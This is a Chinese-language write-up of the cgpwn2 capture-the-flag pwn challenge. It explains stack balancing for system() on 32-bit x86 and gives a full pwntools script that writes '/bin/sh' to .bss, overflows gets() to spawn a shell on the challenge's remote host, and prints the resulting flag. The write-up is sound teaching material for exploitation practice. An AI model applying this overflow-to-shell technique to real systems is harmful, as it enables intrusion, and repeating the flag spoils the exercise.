收获

  • 当程序中没有后门函数时,可以通过向段中写入 "/bin/sh",然后通过栈溢出调用 system() 函数将写入的 "/bin/sh" 作为参数执行

  • 在调用 system() 函数时,若想要向其传入参数,注意填充 4 个字节的数据来平衡栈,因为调用 system() 函数的时候要压入一个返回地址 (直接写 p32(0) 也可以,这也是一个 4 字节的数据)


为什么要填充 4 个字节?

当程序调用 system() 函数时,会自动去寻找栈底,即 ebp 指向的位置,然后将 ebp + 8 字节的位置的数据当作函数的参数

如果想将 /bin/sh 作为 system() 函数的参数,就可以在栈溢出的时候,先修改 eipsystem() 函数的地址,然后填充 4 个字节 的垃圾数据,再将 /bin/sh 的地址写入栈上,这样调用 system() 函数的时候,就可以将 /bin/sh 作为参数,然后返回一个 shell

为什么是在 eip(即 system() 函数地址)后面覆盖 4 个字节垃圾数据而不是前面提到的 8 个字节 ?

因为当调用 system() 函数的时候,在 system() 函数中会首先执行 push ebp 指令,将 4 字节的 ebp 地址压入栈中,而此时的栈底距离参数 /bin/sh 正好 8 字节,所以应该填充 4 字节垃圾数据,这个垃圾数据将作为 system() 函数执行完后的返回地址

攻防世界-cgpwn2 0.png


【攻防世界】cgpwn2


思路

查看文件信息:

攻防世界-cgpwn2 1.png

32位 小端序,只开启了栈不可执行

尝试执行:

攻防世界-cgpwn2 2.png

在 IDA 中分析:

攻防世界-cgpwn2 3.png

跟进 hello()

攻防世界-cgpwn2 4.png

有两个输入:names,查看 name 的写入位置:

攻防世界-cgpwn2 5.png

发现输入的 name 是存储在 .bss 段上的,不是在栈中

查看 s 的写入位置:

攻防世界-cgpwn2 6.png

可以通过 gets() 函数溢出函数返回值,转而执行其他函数

发现后门函数:

攻防世界-cgpwn2 7.png

但是这个函数只是执行 echo hehehe,即:打印 hehehe,并不能提供 flag

既然输入的 name 可以往 .bss 段上写入数据,因此可以考虑通过 name.bss 段上写入 "/bin/sh",然后再通过输入 s 将栈溢出,使程序调用 system() 函数,再将事先写入的 "/bin/sh" 做为 system() 函数的参数,即可 PWN 掉程序

就是需要注意:调用 system() 函数后需要需要填充 4 个字节 的垃圾数据来保持栈的平衡,因为调用 system() 函数的时候要压入一个返回地址,需要填充 4 个字节

除了写 b'a' * 4 之外,还可以写 p32(0),也可以代表 4 个字节


脚本

from pwn import *

context(os='linux', arch='i386', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口

elf = ELF("./cgpwn2")  # 生成elf对象
system_addr = elf.symbols["system"]  # 获取system函数的地址
bin_sh_addr = 0x0804A080  # s在.bss段上写入的地址,地址可以在ida中查看到,要往这里写入“/bin/sh”,然后用system函数调用它


def main():
    if content == 1:
        io = process("./cgpwn2")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 65027)  # 题目的远程端口

    payload = b'a' * (0x26 - 0x00 + 0x04) + p32(system_addr)  # 通过栈溢出调用system函数
    payload = payload + b'aaaa' + p32(bin_sh_addr)  # 填充4个字节平衡栈,然后将写入“/bin/sh”的地址作为参数

    io.recvuntil("please tell me your name\n")
    io.sendline("/bin/sh")
    io.recvuntil("hello,you can leave some message here:")
    io.sendline(payload)

    io.interactive()


main()

结果

cyberpeace{d4336a51b8192c14138838a676822392}

攻防世界-cgpwn2 8.png